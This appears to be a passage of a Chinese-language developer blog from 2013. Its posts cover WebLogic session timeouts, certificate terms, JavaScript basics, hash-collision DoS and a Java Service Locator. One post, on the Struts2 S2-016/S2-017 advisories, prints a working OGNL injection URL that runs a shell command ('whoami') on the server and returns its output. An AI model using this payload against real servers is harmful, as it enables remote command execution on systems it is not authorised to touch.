    class="org.springframework.beans.factory.config.PropertiesFactoryBean">
    <property name="location" value="classpath:test.properties"/>
    <property name="fileEncoding" value="UTF-8"/>
</bean>
7/29/2013
3:56:00 PM 0

WebLogic Session Timeout 設定

方法一 : weblogic.xml
<session-descriptor>
    <timeout-secs>2400</timeout-secs><!--seconds-->
</session-descriptor>
WebLogic Console ==> deployments / deployment name / Configuration / General / Session Timeout (in seconds)
WebLogic Console 中的設定值, 就是 weblogic.xml 的值

方法二 : web.xml
<session-config>
    <session-timeout>120</session-timeout><!--minutes-->
</session-config>
設定0或小於0則 session 永遠不會 time out (可參考 web-app_2_3.dtd 內的說明)
7/19/2013
3:07:00 PM 0

Apache Struts2 發布 S2-016 S2-017 漏洞公告

2013年七月 Apache Struts2 發布漏洞公告, 有心人士可以利用這漏洞執行伺服器指令

http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html

測試了一下

test1 :
http://127.0.0.1/test.action?redirect:http://www.google.com/
test2 :
http://127.0.0.1/test.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

結果都可正確執行並回傳,這漏洞造成的影響相當大,可以利用此漏洞執行伺服器端的指令,
主要的漏洞是源自於 OGNL(Object-Graph Navigation Language), 是內建於 Struts2 中的 EL(Expression Language)

詳細可參考 : http://www.inbreak.net/archives/507
7/17/2013

數位憑證基本名詞

數位憑證遵循 X.509 標準

CSR 憑證簽章要求檔 (Certificate Signing Request)

一般申請憑證必須先用工具產生 CSR 檔,產生過程中會將公鑰和私鑰, 一起產生出來,CSR 中包含憑證的基本資訊和公鑰, 產生之後將 CSR 送給 CA 做簽署
wikipedia : http://en.wikipedia.org/wiki/Certificate_signing_request

憑證認證採行由上而下的階層設計 Root CA >> CA >> Certificate


Root certificate : 自我簽署的作用,根憑證授權單位有能力指派中繼憑證授權者
wikipedia : http://en.wikipedia.org/wiki/Root_certificate
Intermediate certificate : 中繼憑證授權單位,可發出伺服器憑證,個人憑證,發行者憑證,或其他中繼憑證授權單位
wikipedia : http://en.wikipedia.org/wiki/Intermediate_certificate_authorities
Domain certificate : 一般使用者所申請的網域或伺服器憑證
7/12/2013
2:36:00 PM 0

Javascript Wrapper Object

Javascript 有五個基本型別(primitive types)

string
number
boolean
null
undefined

除了這五個之外, 其他都是物件(object)
去掉 null 及 undefined, 其他三個各有對應的 wrapper 物件

string --> String
number --> Number
boolean --> Boolean

Javascript 在執行過程中可以彈性化的轉換基本型別到相對應的 wrapper 物件
var a = "123";
console.log(typeof a);
a.test = "456";
console.log(a.test);
output
--------------------------------------------
string
undefined
因為是基本型別無法賦予屬性, 所以 a.test 會顯示 undefined

自動轉型成 String 物件
var b = "456";
console.log(b.length);
output
--------------------------------------------
3

如果要自訂屬性則必須使用 wrapper 物件
var obj = new String("test");
obj.test1 = "test wrapper object";
console.log(obj.test1);
console.log(typeof obj);
output
--------------------------------------------
test wrapper object
object

模擬 String 物件內部的操作方式
var obj = {
  "0" : "t"
  "1" : "e"
  "2" : "s"
  "3" : "t"
  length: 4
  test1: "test wrapper object"
}

再來看看 Number 物件
var x = 99;
var y = new Number(99);
console.log(typeof x);
console.log(typeof y); 
console.log(x == y); 
console.log(x === y);
output
--------------------------------------------
number
object
true
false

比較 x == y 時,會呼叫 valueOf() 取得回傳值,並做比較的動作
var s1 = new String("abc");
var n1 = new Number(111);
var b1 = new Boolean(true);
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
String.prototype.valueOf = function() { return "xyz";}
Number.prototype.valueOf = function() { return 999;}
Boolean.prototype.valueOf = function() { return false;}
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
console.log(s1.toString());
console.log(n1.toString());
console.log(b1.toString());
output
--------------------------------------------
true
true
true
false
false
false
abc
111
true
7/07/2013
8:57:00 PM 0

Javascript loop

  1. for
    var myArray = [1,2,3];
    for (var i = 0; i < myArray.length; i++) 
    {
        alert(myArray[i]);
    }
    
    output
    --------------------------------------------
    1
    2
    3

  2. for in
    var obj = 
    {
        a : 1,
        b : 2
    };
    
    for(var key in obj) 
    {
       alert(key);
    }
    
    output
    --------------------------------------------
    a
    b

  3. forEach (IE9 之後才支援)
    forEach 是從 Array.prototype.forEach 來的, 因此只要是 Array 物件就擁有 forEach 方法
    function alertElements(element, index, array) 
    {
        alert(element);
    }
    [1,2,3].forEach(alertElements);
    
    output
    --------------------------------------------
    1
    2
    3

    在 ECMAScript 5, 也可使用 forEach 取得物件屬性名稱
    var obj = 
    {
        a : 1,
        b : 2
    };
    
    Object.keys(obj).forEach(function(key) 
    {
        alert(key);
    });
    
    output
    --------------------------------------------
    a
    b

  4. while
    var i=0;
    var myArray = [1,2,3];
    
    while(myArray[i])
    {
        alert(myArray[i]);
        i++;
    }
    
    output
    --------------------------------------------
    1
    2
    3

  5. do while
    var i = 1;
    var sum = 0;
         
    do 
    {
        sum += i;
        i++;
    } 
    while (i <= 100);
    
    alert(sum);
    
    output
    --------------------------------------------
    5050
7/03/2013

Hash Collision DoS

oCERT Advisories ==> http://www.ocert.org/advisories/ocert-2011-003.html

Hashtable 在 Java 中是很常被使用的 class 之一, Hashtable 的原理是利用 hash code 的方式, 算出陣列的索引, 來加速資料搜尋, 最佳狀況下, hash code 是不會重覆的, 因此可以達到快速搜尋的效果

Wikipedia 對 Hash table 的說明 ==>  http://en.wikipedia.org/wiki/Hash_table

hash code 的運算方式有很多種, 但不管使用哪一種方式, 都難免發生兩種不同的 Key, 算出同樣 hash code 的狀況, 稱之為碰撞(collision)

我們來看 Java HashMap 如何去處理 collision
public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key.hashCode());
    int i = indexFor(hash, table.length);
    for (Entry<k> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

public V get(Object key) {
    if (key == null)
        return getForNullKey();
    int hash = hash(key.hashCode());
    for (Entry<k> e = table[indexFor(hash, table.length)];
         e != null;
         e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
            return e.value;
    }
    return null;
}

未發生 collision 的狀況下資料結構應該是長這樣

 

當發生 collision 時, Hashtable 變形為 single linked list

在一個線性串列中,如果資料量很大,花費在搜尋上的時間成本也就隨之增加,
有心人士可利用這個特性來對 Java 撰寫的 Web 做攻擊
6/20/2013
5:31:00 PM 0

JavaScript 變數宣告(使用 var 與不使用 var 的區別)

JavaScript 變數使用 var 來宣告, 如果不使用 var, 則屬於 global object
a = 1; //global

function init() {
    b = 2; //global
    var c = 3; //local
}

function test1() {
    init();
 
    console.log(a); 
    console.log(b); 
    console.log(c); 
}

test1();
output
--------------------------------------------
1
2
exception : ReferenceError: c is not defined

變數宣告後在作用範圍內都有效
function test2() {
    console.log(a);
    var a = 1;
    console.log(a);
}

test2();
output
--------------------------------------------
undefined
1

注意 :
第一次 alert 時並未發生 exception, 而是輸出 undefined, 因 a 的作用範圍在 function test2 裡都有效果, a 尚未出始化, 所以輸出 undefined, 這行為稱之為提昇(Hoisting)

我們可以使用 delete 來刪除物件上的特性, 當不使用 var 宣告的變數, 就屬於 global object 中的一個特性, 相當於我們使用 delete 來刪除變數
var a = 1;
b = 2;
console.log(a);
console.log(b);
console.log(delete a);
console.log(delete b);
console.log(a);
console.log(b)
output
--------------------------------------------
1
2
false (false 表示無法刪除)
true (true 表示特性刪除成功)
1
ReferenceError: b is not defined

JavaScript 有幾個內建的 Data Types, 都可使用 var 來宣告
  1. Primary Data Types
    • String
    • Number
    • Boolean
  2. Composite Data Types
    • Object
      • Function
      • Array
      • Date
      • RegExp
    • Array
  3. Special Data Types
    • Null
    • Undefined
example :
var a;//a is undefined
var b = "test";//b is String
var c = 1;//c is a Number
var d = new Array();//d is Array
6/07/2013
3:03:00 PM 0

Service Locator Pattern

將取得服務的方法進行封裝, 可降低程式碼間的耦合度

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;

import java.util.Collections;
import java.util.HashMap;
import java.util.Map;

public final class ServiceLocator {

 private static ServiceLocator sl = new ServiceLocator();
 private Context c;
 private Map m;

 private ServiceLocator() {
  try {
   c = new InitialContext();
   m = Collections.synchronizedMap(new HashMap());
  } catch (Exception ex) {
   throw new ExceptionInInitializerError(ex);
  }
 }

 public static ServiceLocator getInstance() {
  return sl;
 }

 public DataSource getDataSource(String name) throws NamingException {
  DataSource ds = null;

  if (m.containsKey(name)) {
   ds = (DataSource) m.get(name);
  } else {
   ds = (DataSource) c.lookup(name);
   m.put(name, ds);
  }

  return ds;
 }
}